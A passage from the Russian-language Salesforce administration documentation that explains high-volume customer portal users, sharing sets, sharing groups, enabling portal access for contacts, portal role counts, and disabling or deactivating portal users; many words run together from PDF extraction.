обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Пользователимассовогопортала — этопользователипорталасограниченнымдоступом,
предназначенногодляорганизацийсбольшимколичествомпользователейпортала (от
нескольких тысяч до нескольких миллионов). В отличие от пользователей других порталов, пользователи массового
портала не имеют ролей, что позволяет избежать ошибок, связанных с вычислениямииерархии ролей.Кпользователям
массового портала относятся типы лицензий «Массовый клиентский портал» и «Проверенный веб-узел».

Отличительные особенности

Пользователи массового портала:

• Являются контактами, имеющими доступ к клиентскому порталу.

• Назначены лицензии «Массовый клиентский портал» или «Проверенный веб-узел».

• ПредоставляютдоступтолькоксобственнымзаписямпользователямSalesforce в группеобщегодоступа «Пользователи
массового портала».

Доступ к записям

Ниже перечислены условия, при выполнении которых пользователям массового портала предоставляется доступ к
записям.

• Пользователи могут обновлять организацию, которой они принадлежат.

• Пользователи несут ответственность за записи.

• Пользователи могут просматривать родительскую запись, а единым параметрам общего доступа к дочерней записи
задано значение «Контролируется родительским объектом».

• Единым параметрам общего доступа для объекта задано значение «Общедоступный: только для чтения» или
«Общедоступный: для чтения и записи».

• Пользователи просматривают связанную организациюили контакт посредством API (вместо стандартной страницы
сведений об организации или контакте).

Администраторы могут создавать наборы для общего доступа, чтобы предоставлять пользователям массового портала
дополнительный доступ к записям (см. раздел «Предоставление пользователяммассового портала доступа к записям» на
странице 2694).

Ограничения

• Пользователи массового портала не могут вручную предоставлять доступ к собственным или доступным записям.

• Обращения, принадлежащие пользователям, которым недоступен массовый портал, не могут быть переданы
пользователям массового портала.

• Пользователи массового портала не могут нести ответственность за организации.
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• Группы, работающиесобращениями, немогутбытьдобавленывобращения, принадлежащиепользователяммассового
портала.

• Пользователи массового портала не могут быть включены в:

– Персональные или общедоступные группы.

– Правила общего доступа.

– Группы, работающие с организациями, группы, работающие с возможностями, или группы, работающие с
обращениями.

– Библиотеки Salesforce CRM Content.

– Пользователям массового портала недоступны стандартные страницы сведений об организациях и контактах.
ПринеобходимостисоздайтенастраиваемоерешениепосредствомVisualforceилиAPI, позволяющеепросматривать
данные записи.

Данные ограничения также применяются к записям, принадлежащим пользователям массового портала.

• Пользователи массового портала не могут быть назначены территориям.

СМ. ТАКЖЕ:

Предоставление пользователям Salesforce общего доступа к записям, принадлежащим пользователям массового
портала

Предоставление пользователям массового портала доступа к записям

Общие сведения о наборе для общего доступа

Общие сведения о наборе для общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобыпредоставитьпользователямпорталаилисообществадоступкзаписям, связанным
с их организациями или контактами, на основе профилей, воспользуйтесь наборами
для общего доступа.

Раньше набор для общего доступа предоставлял доступ к любой записи, содержащей
поле поиска организации или контакта, соответствующего организации или контакту
пользователя. Крометого, выпуск Spring'14 позволяетопределять способпредоставления
доступапутемсоотнесениядоступа внаборедляобщегодоступа, которыйподдерживает
непрямые поиски организации или контакта из записи пользователя и целевой записи.
Системапозволяетопределятьобъекты, которыедолжныиспользоваться в соотнесении
доступа; оба объекта должны указывать на организацию или контакт.

Например, чтобы выполнить перечисленные ниже действия, воспользуйтесь набором для общего доступа.

• Предоставьте пользователям доступ ко всем обращениям, связанным с их организациями или контактами.

2692

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



• Предоставьте пользователям доступ ко всем обращениям, связанным с родительской организацией или контактом,
который отображается в организации или контакте пользователя.

Наборы для общего доступа позволяют предоставлять доступ к организациям, контактам, обращениям, сервисным
контрактам, пользователям и настраиваемымобъектам. Ниже перечисленыпрофили, поддерживающиеиспользование
наборов для общего доступа.

• Проверенный веб-узел

• Пользователь клиентского сообщества

• Пользователь входа клиентского сообщества

• Массовый клиентский портал

• Массовый портал

• Пользователь проверенного веб-узла (избыток)

• Пользователь массового клиентского портала (избыток)

Пример ниже позволяет просмотреть соотнесение доступа в наборе для общего доступа, который предоставляет
пользователям портала или сообщества доступ ко всем обращениям, связанным с правами их организаций, несмотря на
возможное отсутствие их прямой связи с обращением.

Пример: 

1. Поиск организации для пользователя портала или сообщества

2. Связанная организация для права

3. Поиск права для обращения

Прим.: Пользователипорталаилисообществаполучаютдоступковсемправамипозициямзаказа, связанным
с доступной организацией. Чтобы предоставить общий доступ к записям, принадлежащим пользователям
массового портала, рекомендуем воспользоваться группой общего доступа.

СМ. ТАКЖЕ:

Предоставление пользователям массового портала доступа к записям

Предоставление пользователям массового портала или сообщества доступа к записям пользователей

Общие сведения о пользователях массового сообщества

Предоставление пользователям массового сообщества доступа к записям

Предоставление общего доступа к записям, принадлежащим пользователям массового сообщества
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Предоставление пользователям массового портала доступа к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
пользователям массового
портала доступа к записям:
• «Настройка

приложения»

Чтобы предоставить пользователям доступ к записям на основе профилей,
воспользуйтесь наборами для общего доступа.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Набор для общего доступа предоставляет пользователям массового портала доступ к
любой записи, содержащейполе поиска организацииили контакта, соответствующего
организации или контакту пользователя.

Кроме того, система позволяет предоставлять доступ к записям путем соотнесения
доступа в наборе для общего доступа, который поддерживает непрямые поиски
организации или контакта из записи пользователя и целевой записи. Например,
пользователямможетбытьпредоставлендоступковсемобращениям, связаннымсдругой
организацией, которая отображается в контактах пользователей.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры клиентского портала».

2. Чтобы создать набор, нажмите кнопку «Создать» в связанном списке «Наборыдля общего доступа». Чтобыизменить
текущий набор, щелкните ссылку «Правка» напротив нужного набора.

3. Заполните поля «Метка» и «Имя набора для общего доступа» на странице «Редактирование набора для общего
доступа». «Метка» — это метка набора для общего доступа, отображаемая в пользовательском интерфейсе. «Имя
набора для общего доступа» — это уникальное имя, используемое интерфейсом API.

4. Введите описание.

5. Выберите профили нужных пользователей.

6. Выберите нужные объекты.

Ниже перечислены объекты, отсутствующие в списке «Доступные объекты».

• Объекты, единому параметру общего доступа которых задано значение «Общедоступный: для чтения и записи»

• Настраиваемые объекты, которые не содержат поле поиска организации или контакта

7. Чтобы настроить доступ для выбранных профилей, щелкните ссылку «Настроить» или «Правка» напротив имени
нужногообъекта вразделе «Настроитьдоступ». Чтобыудалитьпараметрыдоступа кобъекту, щелкните ссылку «Удал.».

Прим.: Объекты, для которых в столбце «Действие» отображается ссылка «Настроить», недоступны
пользователям массового портала. Пользователям массового портала предоставляется полный доступ только к
записям настроенного объекта. Дополнительную информацию о доступе см. в разделе «Общие сведения о
пользователях массового портала» на странице 2691.

8. Предоставьте доступ на основе поиска организации или контакта.

• Чтобы определить поиск организации или контакта для объекта «Пользователь», выберите нужное значение в
раскрывающемся списке «Пользователь».
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• Чтобы определить поиск организации или контакта для целевого объекта, выберите нужное значение в поле
«Целевой объект».

Например, чтобы предоставить доступ ко всем обращениям, связанным с организацией, которая отображается в
контакте пользователя, выберите поля Contact.Account и Account соответственно.

Прим.: Оба выбранных поля должны указывать на организацию или контакт. Например, поля
Contact.Account и Entitlement.Account указывают на организацию.

9. Выберите уровень доступа «Толькодлячтения» или «Длячтенияи записи». (Если единомупараметруобщего доступа
кобъекту задано значение «Общедоступный: толькодлячтения», тоотображается только уровеньдоступа «Длячтения
и записи».)

10. Нажмите кнопки «Обновить» и «Сохранить».

Выбранные параметры применяются ко всем клиентским порталам или сайтам организации.

СМ. ТАКЖЕ:

Общие сведения о пользователях массового портала

Общие сведения о наборе для общего доступа

Предоставление пользователям массового портала или сообщества доступа к записям пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
пользователям массового
портала доступа к записям:
• «Настройка

приложения»

Чтобы предоставить пользователям доступ к другим пользователям, воспользуйтесь
наборами для общего доступа.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобыпредоставитьпользователяммассовогопортала доступк внутреннимилидругим
пользователям тогоже портала, а также разрешитьпросмотри редактирование записей
целевых пользователей, рекомендуем создать набор для общего доступа.

Кроме того, выпуск Spring'14 позволяетпредоставлять доступ кпользователямна других
порталах посредством непрямого поиска организации или контакта.

Чтобыпредоставитьдоступквыбраннымпользователямтогожепорталаприотсутствии
флажка «Доступность пользователя портала» настранице «Параметрыобщегодоступа»,
рекомендуем создать набор для общего доступа.

Чтобы создать набор для общего доступа, позволяющий предоставлять доступ к другим пользователям, выполните
указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры клиентского портала».

2. Чтобысоздать набор, нажмите кнопку «Создать» в связанномсписке «Параметрыобщего доступа дляпользователей
массового портала». Чтобы изменить текущий набор, щелкните ссылку «Правка» напротив нужного набора.
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3. Заполните поля «Метка» и «Имя набора для общего доступа» на странице «Редактирование набора для общего
доступа». «Метка» — это метка набора для общего доступа, отображаемая в пользовательском интерфейсе. «Имя
набора для общего доступа» — это уникальное имя, используемое интерфейсом API.

4. Выберите профили нужных пользователей.

5. Выберите объект «Пользователь».

Целевыми пользователями могут быть другие пользователи массового портала или сообщества, либо внутренние
пользователи.

6. Чтобынастроитьдоступдлявыбранныхпрофилей, щелкнитессылку«Настроить»или«Правка»напротивобъекта
«Пользователь» вразделе «Настроитьдоступ». Чтобыудалитьпараметрыдоступакобъекту, щелкнитессылку «Удал.».

7. Предоставьте доступ на основе поиска организации или контакта.

• Чтобы определить организацию или контакт, связанный с пользователем, посредством прямого или непрямого
поиска, выберите нужное значение в раскрывающемся списке «Пользователь».

• Чтобы определить организацию или контакт, связанный с целевым пользователем, посредством прямого или
непрямого поиска, выберите нужное значение в раскрывающемся списке «Целевой пользователь».

Например, чтобы предоставить доступ к целевым пользователям, связанным с другой организацией, которая
отображается в организации пользователя, выберите поля Account.Parent и Account соответственно.

Прим.: Обавыбранныхполядолжныуказыватьнаорганизациюиликонтакт. Например, поля Account.Parent
и Contact.Account указывают на организацию.

8. Выберите уровеньдоступа «Только для чтения» или «Для чтения и записи». (Еслиединомупараметруобщегодоступа
к объекту «Пользователь» задано значение «Общедоступный: только для чтения», то отображается только уровень
доступа «Для чтения и записи».)

9. Нажмите кнопки «Обновить» и «Сохранить».

Выбранные параметры применяются ко всем клиентским порталам или сайтам организации.

Пример: Пример ниже предоставляет пользователям портала доступ к пользователям, контакты которых связаны
сорганизациями, отображаемымивзаписяхменеджеровпользователейпортала. Другимисловами, полеорганизации
в записи менеджера пользователя портала должно соответствовать полю организации, отображаемому в записи

контакта целевогопользователя.

1. Поиск менеджера для пользователя портала

2. Поиск организации для менеджера

3. Поиск организации для контакта
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4. Поиск контакта для целевого пользователя

Таким образом, чтобы предоставить доступ к целевым пользователям, выберите поля Manager.Account и
Contact.Account в раскрывающихся списках «Пользователь» и «Целевой пользователь» соответственно.

СМ. ТАКЖЕ:

Определение уровня доступа пользователей сообщества или портала

Общие сведения о наборе для общего доступа

Предоставление пользователям Salesforce общего доступа к записям, принадлежащимпользователям
массового портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
пользователям Salesforce
общего доступа к записям,
принадлежащим
пользователям массового
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Пользователимассовогопортала — этопользователипорталасограниченнымдоступом,
предназначенногодляорганизацийсбольшимколичествомпользователейпортала (от
нескольких тысяч до нескольких миллионов). В отличие от пользователей других
порталов, пользователи массового портала не имеют ролей, что позволяет избежать
ошибок, связанных с вычислениями иерархии ролей. В отличие от пользователей
Salesforce, пользователимассовогопорталаотсутствуютвиерархииролей, поэтому группа
общего доступа позволяет выбирать пользователей Salesforce, которым должны быть
доступнызаписи, принадлежащиепользователяммассовогопортала. Каждыйклиентский
портал поддерживает собственную группу общего доступа.

Чтобы выбрать пользователей Salesforce, которым должны быть доступны записи,
принадлежащиепользователяммассовогопортала, выполнитеуказанныенижедействия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Щелкните имя нужного клиентского портала.

3. Откройте вложенную вкладку «Параметры группы общего доступа».

4. Чтобы включить группу общего доступа, щелкните «Активировать».

Активация группы общего доступа может занять некоторое время. Уведомление о завершении будет отправлено
пользователю по эл. почте.

Прим.: Деактивация группы общего доступа инициирует удаление доступа всех пользователей Salesforce к
записям, принадлежащим пользователям массового портала. Уведомление о завершении не будет отправлено
пользователю по эл. почте.

5. Чтобы добавить пользователей Salesforce в группу общего доступа, щелкните «Правка».

a. Выберите нужный тип участника в раскрывающемся списке «Поиск».
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b. Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите кнопку «Найти».

c. Чтобы добавить участников в группу, выберите нужных участников в столбце «Доступные участники» и нажмите
кнопку «Добавить».

d. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о пользователях массового портала

Просмотр наборов для общего доступа пользователей массового портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления
пользователям массового
портала доступа к записям:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы предоставить пользователям массового портала доступ к объектам на основе
профилей, воспользуйтесьнаборамидляобщегодоступа. Чтобыпросмотретьподробные
сведений о наборе для общего доступа, выполните указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Щелкните имя нужного набора в связанном списке «Параметрыобщего доступа для
пользователей массового портала».

Страница сведений о наборе для общего доступа содержит добавленные профили и
уровни доступа, предоставленные к объектам. Ниже перечислены действия, доступные
на данной странице.

• Чтобы изменить набор для общего доступа, нажмите кнопку «Правка».

• Чтобы удалить набор для общего доступа, нажмите кнопку «Удалить».

• Чтобы просмотреть сведения о добавленном профиле, щелкните имя нужного профиля.

• Чтобы изменить или удалить параметры доступа для объекта, щелкните ссылку «Правка» или «Удал.» напротив
имени нужного объекта.

СМ. ТАКЖЕ:

Общие сведения о пользователях массового портала

Предоставление пользователям массового портала доступа к записям
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Доступ к клиентскому порталу

Настройка доступа пользователей к клиентскому порталу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для настройки клиентского портала:

«Редактирование пользователей портала
самообслуживания»

Для управленияпользователями клиентского
портала:

«Управление профилями и наборами
полномочий»

Для создания, редактирования и удаления
профилей:

«Управление общим доступом»Для настройки стандартного общего доступа
и правил общего доступа:

«Редактирование пользователей портала
самообслуживания»

Для включения пользователей клиентского
портала:

Прим.: Начиная с выпуска Summer'13 клиентскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать клиентский портал в обычном режиме. При отсутствии клиентского портала общий доступ к
данным может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить использование собственных
клиентских порталов или выбрать использование сообществ. Дополнительную информацию можно получить у
менеджера по работе с клиентами Salesforce.

Прежде чем предоставить пользователям доступ к клиентскому порталу Salesforce, настраиваемому впервые, выполните
указанные ниже действия.

1. Настройте портал (см. раздел «Настройка клиентского портала»).

2. Назначьте порталу профили клиентского портала.

a. Выберите имя портала на странице «Настройка клиентского портала».

b. Щелкните «Редактировать профили» в разделе «Назначенные профили».

c. Установите флажок «Активно» напротив нужного профиля.

Пользователи портала могут входить только на клиентские порталы, назначенные их профилям.При создании
нескольких порталов рекомендуем назначить профили каждому соответствующему порталу.

3. Выберите значение «Личный» для единых стандартных параметров общего доступа к организациям, контактам,
контрактам, активам и обращениям. Данное действие гарантирует, что пользователи портала смогут просматривать
и редактировать только данные, связанные с собственными организациями.

Совет: Чтобы сохранить значение «Общедоступный» единого стандартного параметра для всех пользователей
Salesforce, а также разрешить пользователям портала просмотр и редактирование данных, связанных только с
собственными организациями, рекомендуем создать правила общего доступа «Все внутренние пользователи»,
ссылающиеся сами на себя.

4. Принеобходимостинастройте правила общего доступа для пользователейпортала (кроме пользователеймассового
портала). Данное действие позволяет пользователям портала и пользователям Salesforce обмениваться записями.
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Прим.: Если организация использует правила общего доступа, предоставляющие доступ к категории «Роли,
внутренние подчиненные роли и подчиненные роли портала», рекомендуем обновить данные правила общего
доступапосредствомкатегории «Ролиивнутренниеподчиненныероли». Данноедействиепозволяетисключить
случайный доступ пользователя портала к записям, принадлежащим пользователю Salesforce.

Категориянабораданных «Ролиивнутренниеподчиненныероли» позволяет создаватьправилаобщегодоступа,
содержащие всех пользователей выбранной роли и всех пользователей нижестоящих ролей, кроме ролей
клиентского и партнерского порталов.

Категория «Роли, внутренние подчиненные роли и подчиненные роли портала», используемая правилами
общего доступа, может быть преобразована в категорию «Роли и внутренние подчиненные роли» посредством
мастера преобразования доступа пользователя портала. Более того, данный мастер позволяет преобразовывать
общедоступные папки отчетов, панелей мониторинга или документов в папки, доступные всем пользователям,
кроме пользователей портала.

5. Убедитесь, что пользователи портала не добавлены в очереди и не являются участниками общедоступных групп,
добавленных в очереди. Пользователи портала, добавленные в очереди, могут просматривать записи несвязанных
организаций.

6. Принеобходимости добавьте компонент «Приветствие» в макеты начальной страницы, назначенные пользователям
портала.

Компонент «Приветствие» поддерживает отображение индивидуальных приветственных сообщений при входе
пользователей на портал, а также возможность изменения собственных имен, паролей, регионов, языков, часовых
поясов и контактных данных. Дополнительную информацию см. в разделе «Советы и рекомендации по настройке
страниц клиентского портала» на странице 2678.

7. При необходимости разрешите контактам самостоятельную регистрациюна портале. См. раздел «Включение входа
и параметров клиентского портала» на странице 2655.

СМ. ТАКЖЕ:

Общие сведения об управлении пользователями клиентского портала
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Включение клиентского портала для контактов и организаций-лиц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
пользователей клиентского
портала или выполнения
входа в качестве
пользователя портала:
• «Редактирование» для

организаций, связанных
с
пользователем-клиентом

И

«Редактирование
пользователей портала
самообслуживания»

Чтобыразрешить клиенту доступ к клиентскомупорталу Salesforce, запись контакта или
организации-лица данного клиента должна быть активирована в качестве пользователя
клиентского портала.

1. На странице сведений о контакте или организации-лице щелкните ссылку
«Управление внешним пользователем», а затем выберите пункт «Включить
пользователя-клиента».

2. Проверьтеобщиесведенияирегиональныенастройки. Принеобходимостивведите
любуюнужнуюинформацию. Поле «Имя пользователя» по умолчаниюсодержит
адрес эл. почты клиента.

3. Выберителицензиюпользователяпортала. Выбраннаялицензияопределяетнаборы
полномочий, профиль пользователя и параметры иерархии ролей, которые могут
быть заданы для пользователя клиентского портала. См. раздел «Лицензии
пользователей клиентского портала» на странице 2688.

4. Чтобы отправить клиенту сообщение эл. почты, содержащее его имя пользователя
ипарольнаклиентскомпортале, установитефлажок «Создать пароль и немедленно
уведомить пользователя».

Если организация Salesforce использует несколько клиентских порталов, то все
клиентские порталы, назначенные профилю пользователя, могут быть доступны
посредствомодногоименипользователяипароля. См. раздел «Созданиенескольких
клиентских порталов» на странице 2653.

5. Нажмите кнопку «Сохранить».

6. Чтобы устранить неполадки или подтвердить конфигурацию портала, нажмите
кнопку «Управление внешним пользователем» на странице сведений о контакте
и выберите пункт «Войти на портал в качестве пользователя». Данное действие
открывает новое окно обозревателя и выполняет автоматический вход от имени
пользователя-партнера.

При необходимости модератор может деактивировать других пользователей.

СМ. ТАКЖЕ:

Рекомендации по включению клиентского портала для контактов и управлению им

Включение социальных организаций, контактов и интересов

Рекомендации по изменению организаций для контактов, имеющих доступ к порталам

Рекомендации по объединению контактов, связанных с пользователями портала

Ограничения контактов

Общие сведения об управлении пользователями клиентского портала

Рекомендации по включению клиентского портала для контактов и управлению им
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Роли для организации клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения количества
ролей на одну организацию
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Организациям клиентского портала может быть задано стандартное количество ролей.
Таким образом, можно сократить количество неиспользуемых ролей для организаций
клиентского портала. Для использования данной функции необходимо включить
поддержку клиентского портала.

Например, если при включении организации клиентского портала было создано три
роли, а требуется только одна роль для новых организаций, то количество ролей может
быть сокращено до одной. Организациям клиентского портала может быть задано не
более трех ролей. По умолчанию организациям клиентского портала предоставляется
три роли.

Чтобы определить количество ролей для одной организации клиентского портала,
выполните указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры клиентского портала».

2. Щелкните ссылку «Задать количество ролей для организации портала».

3. Нажмите кнопку «Правка».

4. Выберите нужное количество ролей в раскрывающемся списке «Количество ролей».

5. Нажмите кнопку «Сохранить».

Данный параметр не меняет количество ролей для текущих организаций портала.

СМ. ТАКЖЕ:

Включение клиентского портала для контактов и организаций-лиц
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Отключение и деактивация пользователей портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Клиентский портал
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Партнерский портал
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отключения или
деактивации пользователей
клиентского портала:
• «Редактирование» для

организаций, связанных
с пользователем
клиентского портала

И

«Редактирование
пользователей портала
самообслуживания»

Для отключения или
деактивации пользователей
партнерского портала:
• «Редактирование» для

организаций, связанных
с пользователем
партнерского портала

И

“Управление внешними
пользователями»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Доступ к клиентскому или партнерскому порталу Salesforce может быть удален двумя
способами. В отличие от деактивации, отключение пользователя портала не может быть
отменено.

Отключение пользователя портала
Нижеперечисленыдействия, выполняемыеприотключениипользователяпортала.

• Отмена доступа пользователя к порталу

• Удалениепользователяиз всех связанных групп, рабочих группиправилобщего
доступа

• Необратимое удаление связи между пользователем портала и контактом

При повторном включении доступа контакта к порталу создается пользователь,
который не связан с предыдущей записью пользователя портала.

• Поле «Роль» записи пользователя портала удаляется.

• Роль пользователя-партнера устаревает. В результате:

– Данные пользователя больше не сводятся для роли ответственного за
организацию-партнера

– Возможности, принадлежащиеданномупользователю, удаляютсяизиерархии
прогнозов организации

Прим.: Прежде чем отключить пользователя-партнера, рекомендуем
передать возможности, принадлежащие этому пользователю, другому
активному пользователю.

Рекомендуем отключить пользователя портала, если:

• Контакт включен в качестве пользователя портала случайно

• Пользователь портала связан с повторяющимся контактом

• Доступ контакта к порталу должен быть заблокирован

Прим.: Система Salesforce сохраняет записи пользователей, включая записи
пользователей портала. Отключенный пользователь портала не может быть
включен повторно. Чтобы просмотреть и обновить запись для отключенного
пользователя, введитестроку «Пользователи» вполе «Быстрый поиск» вменю
«Настройка» и выберите пункт «Пользователи».

Деактивация пользователя портала
Деактивированный пользователь теряет доступ к порталу и может быть удален из любых рабочих групп со своим
участием (например, группы, работающие с обращениями, и группы, работающие с организациями). Запись
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деактивированногопользователяпортала сохраняет своюсвязь с контактом. Принеобходимостипользовательпортала
может быть активирован повторно.

Прим.: Делегированный администратор внешних пользователей, деактивирующий пользователя портала, не
может удалить пользователя портала из рабочих групп с его участием.

Чтобы повторно активировать пользователя портала в будущем, рекомендуем воспользоваться деактивацией.

Поумолчаниюповторнаяактивациядеактивированногопользователя, являющегосяучастникомгруппы, работающей
с организациями, и имеющего доступ «Для чтения и записи» («Доступ к организации», «Доступ к контакту»,
«Доступ к возможности» и «Доступ к обращению»), предоставляет доступ «Только для чтения».

Отключение пользователя портала

Чтобы отключить пользователя портала, выполните указанные ниже действия.

1. Нажмите кнопку «Управление внешним пользователем» на странице сведений о контакте и выберите пункт
«Отключитьпользователя-клиента»или «Отключитьпользователя-партнера». Нажмите кнопку «Управление
внешней организацией» на странице сведений об организации-лице и выберите пункт «Выключить
организацию-клиента».

Организации-лица недоступны на партнерском портале.

2. Нажмите кнопку «OK».

Деактивация пользователя портала

Чтобы деактивировать пользователя портала, выполните указанные ниже действия.

1. Для клиентского портала: нажмите кнопку «Управление внешним пользователем» и выберите пункт «Просмотр
пользователя-клиента»на страницесведенийоконтактеилиорганизации-лице. Дляпартнерскогопортала: нажмите
кнопку«Управлениевнешнимпользователем»ивыберитепункт«Просмотрпользователя-партнера»настранице
сведений о контакте.

Организации-лица недоступны на партнерском портале.

2. Нажмите кнопку «Правка» и снимите флажок «Активно».

Чтобы повторно активировать пользователя портала, установите флажок «Активно».

3. Нажмите кнопку «Сохранить».

Прим.: Пакетная деактивация пользователей портала недоступна.

Советы по отключению и деактивации пользователей портала

Ниже перечислены рекомендации по отключению и деактивации пользователей портала (в отличие от деактивации,
отключение не может быть отменено).

• Активныйпользовательпорталанеможетбыть удален; разрешается толькоотключитьилидеактивировать егодоступ
к порталу.

• В таблице ниже представлены условия удаления контактов, связанных с пользователями портала.
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Можно ли удалить контакт?Статус пользователя портала, связанного с
контактом

Нет. В противном случае контакт недоступен при
повторной активации пользователя портала.

Активный пользователь портала

Нет. В противном случае контакт недоступен при
повторной активации пользователя портала.

Неактивный пользователь портала

Да. Удаленные контакты перемещаются в корзину.Отключенный пользователь портала

• Чтобы удалить контакт портала, рекомендуем сначала отключить пользователя портала, а затем удалить контакт.

• Отключение или деактивация пользователя портала не инициирует обновление связанных обращений.Например,
отключенный пользователь портала, который несет ответственность за обращение, остается ответственным за это
обращение до тех пор, пока оно не будет назначено новому ответственному.

• Прежде чем отключить пользователя-партнера, рекомендуем передать возможности, принадлежащие этому
пользователю, другому активному пользователю. Данное действие обусловлено тем, что отключение
пользователя-партнера инициирует удаление любых принадлежащих ему возможностей из иерархии прогнозов
организации (роль пользователя-партнера устаревает).

• Отключение пользователя портала может занять до 10 секунд. В течение данного времени пользователь все еще
может выполнять действия на портале.

• Принеобходимости кнопки «Отключитьпользователя-клиента»и «Отключитьпользователя-партнера»могут
быть удалены из макетов страниц контактов. Данное действие предотвращает отключение пользователей портала
пользователями с полномочием «Редактирование пользователей портала самообслуживания» или «Управление
внешними пользователями».

• Отключенный или деактивированный пользователь портала не учитывается доступными лицензиями,
предоставленными организации. Тем не менее, отключение или деактивация пользователя портала не инициирует
сокращение количестваоплачиваемыхлицензий. Чтобыуменьшить сумму счета, рекомендуемсократить количество
лицензий.

• Чтобы отключить всех пользователей портала, связанных с организацией, а также удалить все роли и группы портала
без возможности восстановления, выполните указанные ниже действия.

– Нажмите кнопку «Управление внешней организацией» на странице сведений об организации партнерского
портала и выберите пункт «Выключить организацию-партнера».

